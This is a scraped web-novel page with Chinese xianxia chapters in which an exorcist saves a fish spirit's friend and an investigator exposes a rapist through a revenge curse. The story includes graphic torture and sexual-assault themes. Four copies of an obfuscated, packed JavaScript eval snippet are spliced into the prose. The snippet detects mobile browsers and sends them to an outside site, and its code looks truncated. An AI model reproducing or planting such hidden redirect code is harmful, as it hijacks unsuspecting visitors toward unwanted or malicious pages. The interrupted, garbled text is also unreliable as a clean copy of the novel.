;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931433|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼妖笼罩在其中燃烧,它被烧得撕心裂肺地大叫:“我不是不说,我是不知道该怎么办了!” “那你倒是先说出来听听啊!”阿婵真的怒了。 天火烈烈燃烧,燎烤着小鱼妖,直接将其烧现了原形,虽然只聚在它身周,但扑面而来的冲天热气却十分骇人,周围的树木花草霎时间被烤蔫。 周围的村民躲得远远的,不敢靠近一步,感觉凡人稍微靠近都要直接被熔化到骨灰渣渣都不剩。 霍彦先却看阿婵不顾炽热,靠近小鱼妖,想要探知真相。 “你在我死后,将我的元神取出来吧,小宝的魂魄在里面,天火炼过,他的魂魄也算是涅槃,可以顺利投胎了!” 小鱼妖被烧得痛不欲生,留遗言似的将隐藏在内心的秘密全盘脱出。 原来它遇到小宝之时,小宝就已经死了,它失去了最好的朋友,从此再也没有人夸他厉害,再也没有人不但不说它丑,还想方设法夸它,让它开心。 那一刻它才明白,比起修仙,其实这个朋友对它来说更加重要。 就像小宝宁愿没饭吃被打死,也不愿看着它被顽劣孩童虐待。它也一样,不能眼睁睁地看着朋友就这么死去。 再晚一点,小宝的魂魄就要永远被困在这条河里,变成“河伥”。到那时,他再想投胎,就只能靠害人,找“替死鬼”,才能让自己的魂魄离开这条河。 但小宝有世界上最干净的灵魂,鱼妖绝不允许小宝变成索人性命的恶毒伥鬼。 胖头小鱼妖当机立断,不惜耗费自己三分之二的修为,将小宝的生魂抽离躯体保存起来。 但它不会更高级的法术保存生魂,只好将其存在自己的元神之中,这样只要它还在,就可以保小宝的魂魄不灭。等到日后修仙有了进境,再找高明的办法将小宝的魂魄剥离出来,和它一起修仙也好。 但这是天道不允许的,所以会降五雷劫。 想要不被雷劈,破解的办法只有一个,就是将生魂和自己的元神剥离开来。 但精怪的本能都趋向于保护自己,小鱼妖的魂魄剥离术只能保证自己的元神完整,小宝的生魂就会被破坏,别说投胎,就是连个孤魂野鬼都做不了,只能灰飞烟灭。 它不舍得。 所以它宁愿自己经历雷劫,烧死就烧死吧,小宝的魂魄在就好了。 “快取出我的元神和小宝的魂魄!你刚才不是说过,我要是想死,你就能快点送我走!求求你,让我快点死吧,太痛了!”小鱼妖已经被烧得神志不清。 “愚蠢!”阿婵此刻顶着天火炙烤靠近小鱼妖,被熏得睁不开眼,感觉自己整个人都要被蒸熟了! 她艰难地从随身的小布袋里掏出一对形状古怪的珠子摊在掌心,攥紧又松开,攥紧又松开,眼中满是愤楚…… “胖头鱼你发誓,没一句假话是不是!全说了是不是!你要是再敢骗我,我就直接把你变成烤鱼!”阿婵咬牙切齿地说。 “都是真的!我真的全说了!求求你快让我死吧,把小宝的魂魄拿走让他顺利投胎!”小鱼妖也被火烧得咬牙切齿。 随后,它看到阿婵一扬手,向它掷来一个什么东西。 “再见啦小宝,天火炼过的魂魄,下辈子一定能投个好胎,别再受苦了!”胖头小鱼妖闭上了眼,身上很痛,但心头还是慰藉的。 奇异的是,预想中的一击必杀并没有到来,反而感觉周身的温度突然降了下来,原来死没有这么痛苦,小鱼妖睁开了眼。 下一秒,它的元神如遭重锤猛击,整条鱼痛得几近崩溃。 哼,它就知道,死没这么舒服。 7. 闭眼等死 “忍一下!”阿婵的声音传来。 小鱼妖感到元神正在被生生撕扯剥离,痛得哇哇大叫:“你不是说一下子就能送我走吗,骗子!” “少废话,忍着!”阿婵怒道。 心痛,真的很心痛,她的凌焱双珠就这么废掉了。 这颗“凌焱双珠”可是她花了六年的时间,才在炎水犯冰凌的时候找到的河底灵宝,冰凌划伤脖子险些送了命,费了那么大的功夫,真是有点心痛…… 众人眼看着天火炙烤那可怜的鱼妖,心有不忍,却也无可奈何。 刚才他们看见阿婵在离天火很近的地方略作停顿,抛出了一个珠状物。 那颗珠子速度之快,直接刺穿烈火,进入了鱼妖的体内。 天哪,这下怕不是直接死了,众人闭起眼睛不敢看鱼妖的结局。 *** 胖头小鱼妖此刻经受着撕心裂肺的剧烈痛楚,只能安慰自己,算了,再忍一下,可能死就是这么痛苦,只要小宝的魂魄完整就好了。 它紧闭双眼等死,众人却见阿婵继续朝着火中艰难走去,纤细的身影仿佛随时会被天火吞没,她长长的雾岚裙角向后扬起,仿佛一只扑火的飞蛾。 众人的心又跟着揪起来,不知她去干什么。 在距离天火更近的地方,阿婵又抛出了一颗珠子。 那珠子在夜空中迅速膨胀、变大、闪耀着白金色柔和光芒,像一个巨型半透明蚕茧,就这样把鱼妖包裹起来,和烈火隔离开来。 夜空之中,这奇谲诡丽的一幕,让众人一时间忘记了呼吸。 随即,他们看到,一个小小的蚕茧包裹着一团小小的白色,慢吞吞地从鱼妖的体内剥离出来,但奇异的是,鱼妖的身体并无破损。 小的蚕茧,越过大的蚕茧,冲破天火,缓缓飞到阿婵手中。 阿婵将其抛到空中,甩出一沓黄符,朗声道,“天道大德,诸神护.法,魂魄归位!” 随着阿婵的手势,空中的小小蚕茧出现了一道裂隙,一沓黄符自动列阵,仿佛铺了一条路似的,引着那一小团白色慢慢隐入小宝的身体。 小宝青紫灰败的脸上睫毛微动,慢慢张开了眼睛。 “活了!孩子活了!” “天哪,他他他……竟然坐起来了!” “真神了嘿!” “孩他娘你看见了吗,小宝活过来了,哎哎别晕啊!” 众人难以置信到眼珠子差点蹦出眼眶,小宝的父母尤为激动,病中的母亲甚至直接激动得晕倒了。 小宝醒来,睁开眼,就看到眼前天火逐渐熄灭,被蚕茧包裹的鱼妖黑糊一团,平瘫在地上,半死不活,他连忙跑过去将鱼妖捧起来抱在怀里,满眼担心。 “放心,死不了,洗洗还能要。”耳畔传来阿婵没好气的声音。 “我的凌焱双珠亲水隔火、保魂续命,可惜就是,唉不说了......” 小宝循声望过去,就看到阿婵长出一口气,一屁.股坐在地上:“热死我了!” 她手里掰扯着刚才收回来的两颗珠子,双珠已无莹白光泽,变成死气沉沉的普通鹅卵石样,只是形状各有微微凹凸,但对在一起,可以完美互相嵌合。 先前被阿婵护着的邢娘子,想要过去给她送点水和手帕擦一擦。好好一个小娘子被熏得如此焦黑,实在看不过去了。 但她的夫君害怕火还会无故燃起,示意她待在原地,他去。 结果,却被霍彦先抢先一步拿了自己的水囊给她,并且递给她一块沾湿的手帕。 阿婵顺着伸过来的手,看到了霍彦先平静无澜的脸,微微一怔。 “霍大人,你人真好!”阿婵焦黑一张脸,笑出一口白牙,伸出大拇指给他比了个“棒”,拿过水囊大口喝起水来,然后跑到河边拿着帕子旁若无人地洗起脸来。 洗完擦干,她抬头看了看天,果然云散天开,满天星斗重现夜幕之下,星星点点煞是好看。 众人的焦点全在复活的小宝、烧糊的鱼妖身上。无人注意的祭台边,一道黑影窜了过去。 *** 月上中天。 一番跌宕起伏的折腾后,人人疲惫,但该捋清楚的事,还得捋清楚。 小宝脑后的伤本来致命,但几乎被胖头小鱼妖输送的大半修为治愈闭合,所以魂体归位后,他立刻就能活蹦乱跳,说话行动与常人无异。 小宝的父母领着儿子,跪谢阿婵引魂复活之恩。 阿婵心安理得地受了,走到许长老面前阴阳怪气:“如何,检验一下小宝魂魄全不全,可别一会儿再缺点什么,又冤枉我偷魂。” 许长老已经被阿婵接二连三的身手震撼,心知此女方术强他百倍,要想害人完全可以做得神不知鬼不觉,没必要用“杀魂做蛊”这种普通方士都看不起的下作手段。 这个村子里,许长老最为年长,比村正威望还要高,他检验后一句“魂魄确实完整”,彻底打消了阿婵“杀魂做蛊”的嫌疑。 阿婵指着胡三郎和他母亲的鼻子骂道:“就因为有你们这种败类,一句真凭实据都没有就血口喷人,这村里有多少年轻貌美的小娘子被你们随意诬陷是蛊师,被全村人孤立,活不下去远走他乡的,还有像我这样差点被献祭冤死的。霍大人、县令大人,你们可要好好查查!” 胡三郎还没说什么,倒是他的泼辣母亲不干了:“好你个小娘子,就算你没有下蛊,难道你没有每天故意在他眼前晃来晃去勾.引他?还把我儿子推进臭水沟,县令大人,这点我可没有胡说,村里好多人都看见了!” 阿婵气笑了:“是个小娘子都勾.引你家儿子是吧?我怎么不知道原来大娘你还瞎了眼,你要不要看看你儿子长什么德行,有什么值得勾.引的! 而且我晃来晃去怎么了?就算我不捉妖,这村里的路我爱晃几圈晃几圈,你管得着吗? 倒是你家儿子跟个色.坯转世一样,路过一个小娘子都要盯着人家从上到下打量一番,我只不过略施小惩让他跌进臭水沟,早知道就该把他投河喂鱼!” 小宝怀中的鱼妖垂死病中惊坐起:“不要投河,不要投河,脏了河水!我不吃!我不吃!” 胡三郎气个半死,但他在阿婵那里吃过苦头,又刚见了她的本事,生怕她真将他投河,敢怒不敢言。 原来是从这里结怨的,霍彦先终于明白了。 大概就是阿婵惩戒胡三郎的登徒子行为,被他记恨,正巧小宝出了事又丢了魂,村里一直有蛊师杀魂做蛊的传言,所以胡三郎就趁势诬蔑阿婵,给她扣上妖女的帽子,想要伺机报复她。 阿婵还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931434|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想骂个痛快,霍彦先拦住她:“现在还有更要紧的事情,谋害小宝的凶手,要赶紧找到,或许还会害别人。” 她一想也是,那个卢七娘还下落不明,于是过去问小宝:“你知道是谁害了你吗?” 小宝摇了摇头,说出他被害当晚的情况。 原来那天,小宝在集市上将胖头小鱼妖放生后,被那个顽劣小童的父亲一顿胖揍,打得鼻青脸肿,眼前发黑,不仅把他身上的钱全部拿走当做赔偿,还抱怨说钱太少都不够赔的。 虽然庆幸小鱼妖总算是逃掉了,但小宝没了钱,家里的东西根本不够全家吃。 他在父母面前,只能假装白日在野外跌下山坡丢了钱心情不好,不想吃饭,夜里趁父母睡着时,偷偷去野外捡一些菌菇柴草换钱。 传说林中闹疫病,平时没什么人敢去,他大着胆子进去找了一圈,没什么收获,最后摸黑到了河边。 突然,小宝隐约听到有女子在低声哭喊,好像是被捂住了嘴所以听不真切。 紧接着,有什么东西从河边土坡上掉到了他脚后跟,他想转身抬头看,但还没来得及转头,脑后便遭到了重击,失去了意识。 等小宝讲完,阿婵问:“所以你身上的淤青外伤,是被那个小童父亲打的,不是凶手所为?” 小宝点点头。 “村正大人、许长老你们听到没有,不是我虐待的小宝。杀魂做蛊、虐待,全是莫须有的罪名,下次你们要把哪个“蛊师”小娘子投河之前,记得先招魂回来问清楚哦。” 阿婵不放弃任何一个可以讽刺挖苦他们的机会。 村正和许长老脸上青一阵白一阵的,层层积攒了一辈子的脸皮都在这一晚上被阿婵扇薄了。 还挺记仇的。霍彦先无奈勾了勾唇角,但是挺好,他们绣衣察事司就喜欢这种记仇的人。 他收回思绪,接替阿婵问小宝:“你没有看到凶手,那还记得是在哪里遇害的吗?” 小宝用手指了一片地方,霍彦先前去查看。 河边有一个被芦苇掩映的土坡,坡下的石块间隙确实找到了微量的血迹,如果不仔细看,很可能被忽略掉,看来是被人处理掩埋过了。 他想到小宝说,听到女子哭喊,联系先前邢娘子所说的卢七娘下落不明,这就很可能涉及到另一桩案子。 但只要不是精怪而是人为犯案,那就撞到绣衣察事司的擅场了。 “大人,我们来了!”刚巧,杨奉安领着绣衣察事司司众来了。 早在阿婵将鱼妖弄上岸来,河水恢复平静的时候,杨奉安就知道他们妥妥是要在此渡河不改道了,得到上司肯定的答复后,他一溜烟跑去放了信号,让余下司众全速赶过来。 “来得正好,把土掀一遍。”霍彦先挥手一指,划定了几个可能的作案范围,安排司众干.他们最得心应手的活计——地毯式搜索。 薛县令拿着小宝身上的衣服排查了一圈,没什么收获,过来找霍彦先汇报,顺便又见识了绣衣察事司的变.态作风,心想这下又是哪个凶手要倒霉了。 果不其然,别看这回绣衣察事司来的人数不多,但都以一当十,他们如风卷残云蝗虫过境般,将周围可能犯案的区域迅速掀了一个遍时,天都还没亮。 果真让他们找到了卢七娘的尸体。 8. 长恨蛊 除了卢七娘,还发现了另一具女尸,已经白骨化,左胸骨处有明显刀刺痕,推测是致命伤。 根据骸骨以及散落在其周围的残余衣服布料判断,是个年方十五六岁的少女。 两具尸体都是在林子里找到的,周围树木枯死,鸟兽尸体遍地,好像是鱼妖和小宝说的疫病引起的,据说陈根灵草就生长在这附近。 *** “霍大人,经过冯仵作检验,卢七娘生前确实被人侵.犯过。”薛县令过来禀报验尸结果。 一众村民都很震惊。 卢七娘的父母难以置信,泣不成声,因为尸体还在那边查验,他们不能过去相见。 “好好的人,昨天还在一起绣花晒太阳,怎么一天没见就变成这样了!”邢娘子一时也难以接受这样的结果,泪流满面。 阿婵扶着她,生怕她伤心过度,动了胎气,嘱咐其夫君好好照顾,她去找霍彦先查看尸体。 卢七娘的尸体因为刚遇害不久便被发现,因此各种证据痕迹都还比较清晰。 冯仵作检验后,霍彦先又查看了一遍尸体,在裙摆处,发现了一只甲虫,泛着黑绿的金属光泽,有些诡异。 因为在传闻中的林中疫病区进行搜索,大家都做了防护,戴了面罩和手套。 霍彦先戴着手套,捧着甲虫仔细研究了半天,没有头绪,忽听到阿婵在侧后方来了一句:“霍大人小心哦,它会杀人的,可能还没有死。” 天将亮未亮,她声音幽幽从背后传来,低低细细酥酥,听得霍彦先全身起了一层鸡皮疙瘩,但这虫子可能是重要证据,丢也不是,不丢也不是。 “你如何知道?”霍彦先问。 他将虫子迅速放进一个绣衣察事司平常办案随身携带的存证布袋里。 “这叫‘长恨蛊’,是一种蛊虫。平时休眠几个月到几年不等,一旦发现中蛊者在附近便会醒来,钻入其体内,蚀人心肺,顺着血液向下肢游走。中蛊者会撕心裂肺地疼痛,如果不能将蛊虫及时驱除体外,中蛊者就只能活活疼死。我觉得,这个蛊虫在那具白骨上,应该也有。” 霍彦先看了阿婵一眼,立马去白骨那边查看。 果不其然,冯仵作已经收集了很多这个蛊虫。 “这么多?它们也没死?”霍彦先问阿婵。 阿婵点点头,“嗯,只是在休眠,你看这片林子树木枯萎,鸟兽尸体遍地,应该就是长恨蛊引起的。因为炼制这种蛊虫,需要服用砒石,这具尸体就这么赤.裸.裸地埋在这里,腐化后,其体内砒石随雨水流出去,会慢慢将草树鸟兽都毒死,大人可以验一验新死的鸟兽体内是否含有砒石。” 霍彦先叫来冯仵作,让他取些尚未白骨化的鸟兽尸体用银针进行勘验。 “这蛊虫是从何而来?为何我们这些人查看尸体,它不来攻击我们?”霍彦先继续问。 阿婵沉吟片刻,说出了自己的猜想:“我推测,这个蛊虫的主人,就是这具白骨。因为这种蛊虫,需得在下蛊者将死之时用自己的心肺血肉让其吞噬,方可炼成。 此后,下蛊者用自己的尸身源源不断地供给蛊虫养分,让其不断繁育后代,就算一只蛊虫死了,它的后代也会找到中蛊者。 只要中蛊者一日不死,就算跑到千里之外,蛊虫也会寻到他,展开施蛊者的报复,这也是为什么叫做“长恨蛊”的原因。 但由于炼制过程中,下蛊者本身也会非常痛苦,死后甚至不能安息,所以一般蛊师不会炼制这种蛊虫,因为这对自己实在是太残忍了。 所以我猜这具白骨应该是被谋害的,死时极其怨恨,才以自己的身躯做蛊,为的就是向凶手施蛊复仇。” 霍彦先紧接着提出质疑,“卢七娘尸身上也有这种蛊,但冯仵作勘验过,她的心肺皆完整,所以她应该不是蛊师?” “不是。我更倾向于是中蛊者本身知道一些秘术,可以将蛊虫排出体外,而卢七娘刚好就是凶手引蛊的工具,所以才惨遭谋害。” “蛊虫这种东西,不都是下蛊者本人才能解开吗?还能有别的解法?”霍彦先奇道。 阿婵摆摆手,“那是你们听到的传闻太邪乎了,并不是所有的蛊虫都必须由下蛊者本人才能解开,天地广阔,总有别的办法能够解除。 只不过驱除蛊虫的过程可能曲折了些,或者需要付出的代价特别大,很少有人知道,又或者就算知道也没有能力可以凑齐解法所需的条件。传来传去,就变成除了下蛊者本人别无破解之法了呗。” 霍彦先思索着她的话,“照你的说法,谋害这具白骨的凶手,很可能犯案之后知道自己中蛊了,为了破解蛊毒,又谋害了卢七娘,将蛊毒引到她身上?但为何蛊虫并没有破坏卢七娘的尸身?” “因为按理来讲,这个蛊虫应该只对中蛊者起作用,我不知道凶手所掌握的破解方法具体是什么,但目前的情况表明,卢七娘的作用只是将蛊虫引出来,但蛊虫不会害除了凶手之外的人。” “等等,你刚才说蛊虫没死,那如果凶手在它面前,蛊虫是不是会发动攻击?”霍彦先捋了一下线索,突然反应过来。 “会啊。”阿婵一脸理所当然。 “你早就知道这蛊虫醒了会攻击凶手,但刚才还在我查看蛊虫的时候,在我后面看了那么久,不出言提醒,是为了判断我是不是凶手吗?”霍彦先脸色阴沉下来。 “不是啊,我是在判断,在场的所有人。” “......” 阿婵说得一本正经,一脸真诚。 霍彦先服气。 “霍大人,您是好人啊,刚来此地也不可能是凶手,怕什么呢?其他帮忙寻尸验尸的各位大人,也是身正不怕影子斜,长恨蛊不会随便攻击你们的。那么我提不提醒又有什么区别呢?”阿婵谄媚一笑,给了个台阶。 确实没区别,她嘴上说得好听,可看她眼神,他们每个人都一样有凶手嫌疑,丝毫没有信任可言。 他在绣衣察事司办案多年,如此被人视作疑凶一样等待验证,还是头一回。 可偏偏,换做是他,他也会这么做——平等地怀疑在场的每一个人。他竟无法反驳。 阿婵已经不理霍彦先怨念的眼神,自顾自往村民聚集的地方去,“真正有问题的,恐怕还是在那边的村人之中,我们不妨过去看看?” “你会解蛊吗?”霍彦先在后面凉凉问道。 阿婵闻言脚步一顿,随即冲他无所谓地一笑,“大人别急,如果蛊虫没有攻击在场的村民,那么再怀疑我也不迟,毕竟我是个妖女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931435|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛,有嫌疑也是合理的,合理的。” 倒是坦然。霍彦先没好气地跟着她到村人聚集的那边去。 阿婵将布袋打开,也不戴勘验手套,就那么大喇喇地倒在手上,看它反应。 霍彦先不错眼珠地盯着她掌心的黑绿小虫。 半晌,蛊虫有了动静,它抖了抖身体,展翅从阿婵掌心飞起,直冲一个人门面过去。 那人本来百无聊赖地坐着,忽然听闻耳边“嗡嗡声”,猛地抬头,可惜已经晚了,蛊虫已经钻进了他的耳朵里。 是胡三郎! 阿婵一副“果然是他”的表情,毫不意外。 霍彦先看到胡三郎先是呆滞了半晌,忽然发狂一般地捂着自己的五脏六腑,非常痛苦地倒下。 胡三郎的母亲胡氏不知道儿子怎么了,惊恐地大叫救命,但并没有人上前,大家都以为他突然染了疫病,因为症状实在太像传说中的疫病了,无人敢靠近。 半晌,正当大家都以为他快死了,他又挣.扎着起身,像疯了一般扒拉着周围聚集的村民,随便找到一个年轻小娘子,就开始扯拽自己的裤子,然后又去扯小娘子的衣服,眼睛发红,神志不清,但想要发.泄.兽.欲的样子,确实无疑。 小娘子吓得尖叫起来,周围的男人当然不能光天化日之下任其胡来,立马将小娘子保护在身后。大人们捂上小孩子的眼睛。 胡三郎一个不得手,又转而寻找新的目标,在场的每个年轻女子都是他的目标,但因有一众男丁护着,他无法得手,只能像个发.情的疯.狗一样到处“虚空索人”。 蛊虫还在他体内吞噬着他的心肺,让他整个人陷入一种癫狂的痛苦之中。 村人指指点点,一片哗然。 “这解蛊之法好歹毒!”阿婵冷声道,“白骨主人本身就是女子,受其所害,因此只想用长恨蛊报复他一个人,不可能研制出这种迫害其他女子的解蛊之法。 看样子,胡三郎解蛊的方法,是将蛊虫逼到下..体,借女子身体发..泄..兽..欲之际才可将蛊虫排出体外。 但解蛊不该只有这种办法,只是胡三郎本身好.色,告诉胡三郎这个方法的人,竟顺应其本性研制这种方法让其作恶,其心可诛!” 霍彦先的眼神也冷下来。 胡三郎还在像个没头苍蝇一样乱转,他的泼辣母亲想去扶他,奈何胡三郎已经疯了,一把将自己母亲给掀到一边,结结实实摔了个仰倒。 就在胡三郎不顾一切想冲破男丁组成的防护墙,随便拽一个女子出来的时候,忽然被一道巨力按住肩头一甩,他整个身体向后趔趄了好几步。 只见一道寒光闪过,霍彦先抽出他随身佩戴的“贯苍刀”,将胡三郎的左边琵琶骨捅了个对穿,由于力量太大,胡三郎直接连人带刀被钉在后面的树干上。 一切只发生在电光石火之间,等到众人看清发生了什么,胡三郎已经一身血地被钉在树干上乱扑腾了。 胡氏尖叫着冲过去护着儿子。 霍彦先悠闲地走过去,对胡三郎说:“知道我为什么没有穿右边么?” 胡三郎疼得神志不清,哀嚎着,拼命摇头。 霍彦先露出了温和微笑,“这只手可不能废啊,留着给你解蛊。” 9. “告诉大家,你是不是自愿的?” 阿婵有些好奇,他葫芦里卖的什么药。 胡氏心疼儿子已经慌了神,一听有救,瞬间忘了刚才是霍彦先将她儿子钉在树上的,不管不顾地扑过来,抱住霍彦先的腿,“大人,求您救救他,救救我儿吧,他太可怜了!” 霍彦先嫌恶地看着地上的老妪,“是啊,你儿子太可怜了,他有什么错呢,错在卢七娘和村里的蛊师小娘子都勾.引他。” 胡氏脑子一片混乱,一时分不清霍彦先话中另有它意,本能地顺着他说,“是啊,是啊,那个叫阿婵的妖女,还有那个卢七娘,还有莫七家的闺女,惯会勾.引我儿,冲他抛媚眼,打扮得花枝招展在他眼前晃。我儿有什么错啊,错在我们家有点钱,就总被这些小贱蹄子惦记着攀高枝。大人您救救他吧!” 阿婵呕了一声,太恶心了,很久没有听过这么恶心的话了。 “你胡说,我莫家的女儿什么时候倒贴过你家儿子,别欺人太甚!”叫莫七的老汉激动起来。 “你家闺女就是下.贱,不知道自爱,上赶着倒贴我儿,不然能遭报应出意外死了吗?”胡氏回头大声道。 霍彦先轻轻将胡氏扶起来,看着胡三郎,若有所思道,“若是自愿的,确实下.贱。” 胡氏附和道,“对对对,一个个小贱蹄子完全不知道自爱,没脸没皮,叫人瞧不起!” 霍彦先示意杨奉安过来,抽出他的刀,递给胡三郎。 不知道对方要干什么,胡三郎被长恨蛊折磨得痛不欲生,右手连刀都险些握不稳。 霍彦先帮他握住刀,对他说,“现在,只有一个方法能救你性命,你可愿一试?” 胡三郎眼神中又有了希望,点头如捣蒜。 霍彦先在他耳边说了什么,胡三郎听了之后,本来混沌的眼神突然变得无比清醒,眼珠子都快从眼眶里掉出来了,疯狂摇头,摇得脖子都快断了。 “大人饶命……大人饶命……”他挂在树上,虚弱地求饶。 胡三郎体内蛊虫发作,再加上右肩被刀捅穿的痛苦,整个人歇斯底里,连话都说不利索,但还是一边颤.抖一边摇头,仿佛听到了这天下最可怕的话。 霍彦先没有任何动作,就那么盯着他。整个人如暴风雨前夕般安静,无端透出一股让人窒息的阴鸷和压迫感。 围观的村民也终于觉得,这个“父查事”确实有点可怕,怪不得他笑着跟薛县令说话的时候,薛县令都直发.抖。他不笑的时候,是真吓人啊! “怎么,不是想活命吗?”见胡三郎一直摇头,霍彦先有点不耐烦,对着他的五脏六腑狠狠按下去,胡三郎差点痛死过去。 伤在儿身,痛在母心,胡氏见亲亲儿子这样,也跟着差点痛死过去,才觉得事情不对:“你干什么,你干什么!凭什么这么对我儿!” 可惜胡氏被杨奉安一把拖走。 “还不动手?”见胡三郎痛不欲生,还在摇头,霍彦先的手按得更重了些。 阿婵在一旁,悄悄将冯仵作在白骨上收集的蛊虫布袋打开。 蛊虫已苏醒,在布袋里蠢蠢欲动,她甫一打开布袋,蛊虫便兴奋无比地化作一束黑线,冲出布袋,直奔胡三郎而去。 阿婵嘴角微扬,悄声说:“去吧去吧,再给你加点料。” “嗡——”声由远及近,霍彦先心里有数,闻声躲开三丈,好整以暇地看着密密麻麻的蛊虫兵分几路,默契地化作几股黑线,分别直灌入胡三郎的口鼻耳朵之中。 他眼中露出满意神色,回头看阿婵。 阿婵冲他扬了扬下巴。 一旁不留神被偷走布袋的冯仵作有口难言,慌得手脚都不知道往哪里放。 围观众人已经惊呆了,就这样看着胡三郎嗷嗷惨叫,整个人被折磨得魂飞天外,铺天盖地的虫子爬满全身实在骇人,看得人鸡皮疙瘩掉了一地。 此时,胡三郎心肺又被蛊虫啃噬一顿,但他看样子对于蛊虫的处理已经非常熟练,这都已经神志不清了,还本能地做势将蛊虫往下..体引。 胡氏在一旁鬼哭狼嚎,霍彦先也不理她,她转头奔向村正,“村正你救救他,你快救救他啊!平时你最疼三郎了,你可不能不管他啊!” 村正看霍彦先在一旁抱臂看戏,眼神凉凉投过来,立马甩开胡氏的手,装作没有听到。 胡氏叫天天不应,叫地地不灵,只能自己继续哭天抢地、撒泼打滚。 那个叫莫七的老汉,见此情景,突然神情激动,冲到霍彦先面前跪下,似是下了很大的决心,粗声道: “求大人做主,草民的女儿就是被胡三郎这个人.渣毁了清白,自缢而亡。平时胡三郎在村里作威作福,我们都不敢惹他,求大人做主,还草民女儿一个公道!” 胡氏听闻,立马停止哭天抢地,气血十足地冲过去对着莫七拳打脚踢,“你胡说什么!你血口喷人!大人你可千万不要相信他的鬼话,我儿子什么都没做!” 此时薛县令拿着在卢七娘尸身旁边找到的一颗珠子跑过来,一脸兴奋: “霍大人,已经查证过了,这颗珠子,就是胡三郎身上的!有几个村民都指认了,因为这村正平时包庇胡三郎为非作歹,村民敢怒不敢言,本来怎么问都不说,也不知怎么突然就跑过来和我承认是胡三郎的了......” 刚说完,就看见胡三郎鲜血淋漓地挂在树上被虫子啃噬,吓了一跳,转头又看村正那窝囊样,恍然大悟。 看来霍大人已经知道了啊,不愧是霍大人,够狠!薛县令心中暗暗赞叹。 说罢,又有几户村民出来指认胡三郎玷污自己女儿的清白,求霍彦先替他们做主。 胡氏还在替儿子挽尊,冲着乔老汉吼:“你这糟老头子凭什么乱讲,你女儿不是意外身亡的吗?怎么还诬蔑上我儿子了!” 乔老汉跪在地上,双眼一闭,流下泪来: “霍大人,我认罪,是我,是我将女儿之死伪装成的意外的。她被毁了名节,你知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931436|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的,在村里女子一旦被毁了名节,根本没法生存下去。她背着我投河了,但我不想让外人知道败坏她的名节,才出此下策,伪装成意外落水。 我老伴死了,只剩我父女二人相依为命,本来我也欲随女儿一同去,但死之前我发誓要替女儿报仇雪恨,杀了那个禽.兽,可他不知道有什么东西护体,寻常办法根本弄不死他! 今日求大人为草民女儿做主,将胡三郎这猪狗不如的东西绳之以法,只要胡三郎死了,老夫立马就下去陪女儿!绝不苟活一天!” 这些受害的村民聚在一起,齐声呼喊:“求大人惩治胡三郎!求大人惩治胡三郎!” 胡氏气得不善,颤.抖着手说:“你们血口喷人,血口喷人!我儿那么好一个孩子!怎么会做这种事!” 霍彦先叫来薛县令和杨奉安,让他们等会儿去跟这些自称受害的村民调查取证。 算算时间,跟刚才那一拨差不多,胡三郎已经被这群蛊虫折磨得奄奄一息,霍彦先温声劝慰,“怎么样,听我的吧,这是唯一能救你的方法。” 胡三郎听到这温声细语的话又吓得一哆嗦,他视线痛得模糊不清,怎么看对面这人都活似地狱阎王,见他伸手又朝自己心口按过来,他终于知道自己怎么也逃不过这一劫,软绵绵提起刀,颤.抖着,满脸的恐惧。 胡氏见势不妙,欲上去拉扯霍彦先,却丝毫无法撼动,杨奉安把她拉开,“绣衣察事司办案,闲人勿扰!” “是男人就拿出点力气,一次成功,不然再来几刀更痛苦。” 霍彦先最后这一按,用了内力,险将胡三郎的心肝脾肺给按爆浆,内力贯穿胡三郎下三路,逼得蛊虫在其下..体乱窜。 胡三郎大受刺.激,极端的痛.楚山呼海啸般涌来,终于冲破了理智,不堪忍受之下,竟挥刀将自己下半身最重要的物事给割了下来。 众人已经被这场面震惊得无话可说,原来绣衣察事司办案,竟然是这样的么! 见过狠的,没见过这么狠的! 霍彦先将胡三郎从刀上捋下来,提溜着他,在众人面前展示,“来,告诉大家,你是不是自愿的?” 胡三郎此刻是一边刚解脱,一边又添新痛苦,气若游丝。 